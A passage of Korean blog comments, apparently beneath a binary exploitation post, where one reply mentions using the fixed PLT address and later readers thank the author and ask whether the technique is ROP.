      고정주소인 plt 주소를 사용해야합니다

    • 마루 2013.12.13 10:35

      아 넵 감사합니다^^

  • 0000 2014.10.06 19:14

    혹시 이게 rop 인가요?
    궁굼한게 많은데 혹시 네이트온 하시면 연락처좀 알려주시면 감사하겠습니다.